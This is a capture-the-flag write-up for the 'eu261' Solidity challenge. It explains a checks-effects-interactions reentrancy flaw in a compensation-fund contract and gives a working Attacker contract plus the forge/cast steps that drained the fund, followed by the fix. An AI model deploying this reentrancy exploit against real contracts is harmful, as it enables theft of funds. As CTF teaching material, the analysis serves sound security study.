eu261

A textbook checks-effects-interactions violation, reentered 16 times to drain a compensation fund to exactly zero.

2026.09.04 NNS CTF 2026 158 pts Blockchain
FLAG NNS{eU261_PaYs_out_oNCe_UN13ss_Y0U_45k_7W1c3}

Challenge: eu261 (Blockchain, NNS CTF 2026) Author: hoover Points: 158 (dynamic, decreased as more solves came in) Flag: NNS{eU261_PaYs_out_oNCe_UN13ss_Y0U_45k_7W1c3}

Overview

The challenge deploys two contracts:

  • BoardingPass.sol: a minimal non-transferable-by-default NFT-like registry mapping a passId to an owner and a flight name.
  • eu261.sol (CompensationFund): lets the airline (operator) open a compensation “fund” for a given flight, and lets any boarding-pass holder for that flight collect() their compensation share once.

The deployment script issues the player a boarding pass for flight SK4045 and opens a fund with a balance of 40 ether, where each passenger’s compensation share is 2.5 ether. The goal is to drain the CompensationFund contract down to a balance of 0 (isSolved() checks address(this).balance == 0).

Vulnerability

CompensationFund.collect():

function collect(uint256 fundId, uint256 passId) external {
    Fund storage fund = funds[fundId];

    require(boardingPass.ownerOf(passId) == msg.sender, "not your boarding pass");
    require(keccak256(bytes(boardingPass.flightOf(passId))) == keccak256(bytes(fund.flight)), "boarding pass is for another flight");
    require(!redeemed[fundId][passId], "already collected");
    require(fund.balance >= fund.compensation, "fund is empty");

    (bool ok,) = msg.sender.call{value: fund.compensation}("");   // <-- external call FIRST
    require(ok, "payout failed");

    redeemed[fundId][passId] = true;                              // <-- state updated AFTER
    fund.balance -= fund.compensation;
}

This is a textbook reentrancy bug (checks-effects-interactions violated): the ETH payout happens via a raw .call before the redeemed mapping and fund.balance bookkeeping are updated. If msg.sender is a contract with a receive()/fallback that calls back into collect() with the same fundId/passId, every nested call still sees redeemed[fundId][passId] == false and the stale (not-yet-decremented) fund.balance, so it passes all the checks and receives another 2.5 ether payout. Forge’s built-in linter even flags this directly:

warning[reentrancy-eth]: uncapped ETH transfer can be reentered
before `redeemed` is updated (src/eu261.sol:60)

Since fund.balance (an internal bookkeeping field) is unrelated to address(this).balance (the real contract balance checked by isSolved()), the recursive calls will keep succeeding and draining real ETH from the contract as long as the low-level .call doesn’t revert for insufficient funds. 40 ether / 2.5 ether per collect = 16 reentrant calls drains the contract to exactly 0.

Exploit

  1. The player’s boarding pass (passId = 0) must belong to the attacking contract, since collect() checks boardingPass.ownerOf(passId) == msg.sender. Boarding passes are transferable via BoardingPass.transferFrom, so the player first transfers pass #0 to the attacker contract.

  2. Deploy a small attacker contract:

contract Attacker {
    ICompensationFund public immutable fund;
    uint256 public immutable fundId;
    uint256 public immutable passId;
    address public owner;

    constructor(address _fund, uint256 _fundId, uint256 _passId) {
        fund = ICompensationFund(_fund);
        fundId = _fundId;
        passId = _passId;
        owner = msg.sender;
    }

    function attack() external {
        fund.collect(fundId, passId);
        (bool ok, ) = owner.call{value: address(this).balance}("");
        require(ok, "sweep failed");
    }

    receive() external payable {
        if (fund.reserve() >= 2.5 ether) {
            fund.collect(fundId, passId);
        }
    }
}

receive() keeps reentering collect() as long as the contract still holds at least one more compensation share, unwinding cleanly once the balance drops below 2.5 ether.

  1. Steps taken against the live instance:

    • cast wallet address --private-key $PK to get the player address.
    • cast call to read boardingPass(), reserve(), fundCount(), fundOf(0) and confirm compensation = 2.5 ether, reserve = 40 ether.
    • forge create to deploy Attacker(fund, 0, 0).
    • cast send BoardingPass.transferFrom(player, attacker, 0) to move the pass to the attacker contract.
    • cast send Attacker "attack()" — this single transaction recursively calls collect() 16 times via reentrancy, draining the fund’s real ETH balance to 0 and sweeping it to the player.
    • Verified CompensationFund.isSolved() returns true.
  2. Retrieved the flag from the challenge’s netcat/TLS launcher (ncat --ssl ... 1337, menu option “2 - get flag”).

Fix

Follow checks-effects-interactions: update redeemed[fundId][passId] = true and decrement fund.balance before making the external call, or use a reentrancy guard.

#solidity#reentrancy